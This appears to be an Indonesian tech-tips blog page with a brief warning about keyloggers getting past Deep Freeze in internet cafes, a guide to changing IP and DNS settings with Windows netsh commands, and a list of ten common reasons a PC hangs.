Jangan terlalu percaya sama Deep Freeze, bisa jadi Deep Freeze di Warnet anda didisable oleh pengguna Keylogger, Kemudian Keyloggernya diinstall dan Deep Freezenya dinyalakan kembali…

Merubah IP address dan DNS servers melalui Command Prompt

Mungkin anda sering melakukan perubahan pada IP address melalui mode GUI di Windows. Sungguh mudah dilakukan. Tetapi pernahkah mencoba melakukan perubahan IP Address melalui command prompt layaknya Linux ? Jika belum, mungkin kita dapat mencobanya. Untuk melakukan ini, masuklah kedalam mode DOS Prompt. Lalu ketikkan perintah netsh
Sebagai contoh, kita akan mengeset :
IP Address = 192.168.0.5
Subnet Mask = 255.255.255.0
Gateway = 192.168.0.1
Lalu kita ketikkan perintah >interface ip set address name=”Local Area Connection” static 192.168.0.5 255.255.255.0 192.168.0.1
Atau bisa dilihat pada gambar dibawah ini :

Angka 1 dibelakang 192.168.0.1 adalah menyatakan metric dari alamat gateway.
Hasil dari perintah tersebut dapat kita lihat melalui network properties.

Untuk melakukan perubahan DNS IP address, kita juga dapat menggunakan perintah netsh ini. Pada mode netsh prompt, ketikkan “
interface ip set dns “Local Area Connection” static 192.168.0.1
Jika ingin mengeset menjadi IP Dinamic dari DHCP server, ketikkan command:
interface ip set address “Local Area Connection” dhcp
Untuk DNS :
netsh interface ip set dns “Local Area Connection” dhcp

10 Alasan Kenapa PC Kita Sering HANG

ering mengalami kejadian ngga waktu kita lagi asiknya mengetik atau maen game di pc tiba-tiba pc kita jadi hang alias macet… Nah nih ada 10 alasan kenapa hal tersebut bisa terjadi.
Hardware conflict : terkadang sering terjadi hardware yang satu dengan yang lain tidak saling mendukung. Sebagai contoh motherboard ga support dengan VGA card, menyebabkan tampilan gambar menjadi kotak – kotak. Bahkan komputer jadi suka restart sendiri (bukan disebabkan oleh virus). Bisa juga disebabkan karena hardware tersebut tidak ter install dengan baik. Nah kalau mo lihat atau nge check hardware yang bermasalah coba klik Start trus Setting -> control panel -> System -> Device manager. Nah disana coba liat ada ngga tanda ! dalam segitiga kuning. Kalau ada berarti ada hardware mu yang bermasalah. Cara yang paling baik yaitu reinstall lagi driver untuk hardware tersebut. Atau gunakan tool untuk melihat software driver dari hardware tersebut apakah sudah benar.
RAM yang jelek (hi..hi..hi..) terkadang sering membuat “blue screen”. Nah coba deh ganti RAM mu. Atau terkadang kesalahan yang ada 2 RAM yang mempunyai spesifikasi yang berbeda dipaksain dipasang pada satu komputer, makanya kalau mo nambah RAM usahakan spesifikasi nya sama. Kalau perlu sama – sama dari satu pabrik sekalian.
BIOS, makanya sering kunjungi web pembuat BIOS nya. Trus cari update BIOS nya yah..
Hard Disk, sering gara-gara susunan file di dalam hard disk dah ga beraturan menyebabkan pc menjadi hang karena file nya entah ada di ujung sect0r entah di tengah, pokoknya ke acak – acak dah. Makanya sering lakukan Disk Defragment. Satu lagi kalau punya file atau data sering – sering di check masih berguna apa ngga. Kalau dah ga guna buang ajaaaaaaaa ke laut <img 
src="http://dzainart.co.cc/wp-content/plugins/kaskus-emoticons/emoticons/15.gif"
 style="border:none;background:none;" alt=":)" 
/> . Jangan lupa jalankan Disk Clean-Up sebulan sekali.
Fatal OE exception. Nih disebabkan video card yang ga support, coba ganti setting apperance nya. Kalau ga bisa juga tuh berarti VGA card nya harus diganti dengan VGA card yang lain baca petunjuk motherboard mengenai VGA card apa yg support.
Virus. Terkadang virus suka bikin pc kita jadi aneh bin ajaib. Makanya punya anti virus dengan real time protection.
Printer. Terkadang di saat kita mau nge print file yang besar, sering membuat pc kita hang. Hal ini disebabkan karena setiap kita hendak nge print dokumen PC mengirimkan file tersebut ke memori yang ada di printer. Nah printer tuh cuma punya memori yang kecil. Kalau hal ini terjadi cabut dahulu kabel printer yang nyambung ke pc abis itu matiin printernya dan pencet tombol reset pada printer.
Software. Masalah yang sering bikin komputer hang yah ini. Sebelum install software chek dolo apakah dia support dengan sistem operasi pc kita (apakah untuk MAc , windows 98, Win Xp). Check juga system requirment nya (apakah untuk P IV , P III, atau AMD)
Terlalu panas. Sering terjadi hardware tidak bekerja karena terlalu panas, tambahkan kipas lebih banyak lagi atau matiin PC mu dan minum kopi dahulu (hi..hi..hi..)
Power Supply. Supply listrik yang kurang juga dapat membuat PC jadi kurang baik berfungsi. Sesuaikan daya pada Power Supply dengan kebutuhan listrik dari PC itu sendiri